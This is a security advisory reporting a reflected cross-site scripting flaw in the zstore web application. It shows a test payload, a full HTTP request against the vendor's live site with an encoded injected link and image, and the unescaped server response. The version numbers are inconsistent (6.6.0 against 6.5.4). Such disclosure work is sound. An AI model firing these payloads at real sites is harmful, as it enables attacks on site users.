Zstore 6.6.0 Cross Site Scripting Vulnerability

## Title: zstore-6.6.0 - XSS-Reflected
## Development: nu11secur1ty
## Vendor: https://zippy.com.ua/
## Software: https://github.com/leon-mbs/zstore/releases/tag/6.5.4
## Reproduce: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/zippy/zstore-6.5.4

## Description:
The value of manual insertion `point 1` is copied into the HTML
document as plain text between tags.
The payload giflc<img src=a onerror=alert(1)>c0yu0 was submitted in
the manual insertion point 1.
This input was echoed unmodified in the application's response.


## STATUS: HIGH Vulnerability

[+] Exploit:
```GET
GET /index.php?p=%41%70%70%2f%50%61%67%65%73%2f%43%68%61%74%67%69%66%6c%63%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%77%77%77%2e%79%6f%75%74%75%62%65%2e%63%6f%6d%2f%77%61%74%63%68%3f%76%3d%6d%68%45%76%56%39%51%37%7a%66%45%22%3e%3c%69%6d%67%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%6d%65%64%69%61%2e%74%65%6e%6f%72%2e%63%6f%6d%2f%2d%4b%39%73%48%78%58%41%62%2d%63%41%41%41%41%43%2f%73%68%61%6d%65%2d%6f%6e%2d%79%6f%75%2d%70%61%74%72%69%63%69%61%2e%67%69%66%22%3e%0a
HTTP/2
Host: store.zippy.com.ua
Cookie: PHPSESSID=f816ed0ddb0c43828cb387f992ac8521; last_chat_id=439
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="107", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://store.zippy.com.ua/index.php?q=p:App/Pages/Main
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
```

[+] Response:
```
HTTP/2 200 OK
Server: nginx
Date: Sun, 29 Jan 2023 07:27:55 GMT
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Ray: p529:0.010/wn19119:0.010/wa19119:D=12546

Class \App\Pages\Chatgiflc<a
href="https:\\www.youtube.com\watch?v=mhEvV9Q7zfE"><img
src=https:\\media.tenor.com\-K9sHxXAb-cAAAAC\shame-on-you-patricia.gif">
 does not exist<br>82<br>/home/zippy00/zippy.com.ua/store/vendor/leon-mbs/zippy/core/webapplication.php<br>
```


## Proof and Exploit:
[href](https://streamable.com/aadj5c)

## Reference:
[href](https://portswigger.net/kb/issues/00200300_cross-site-scripting-reflected)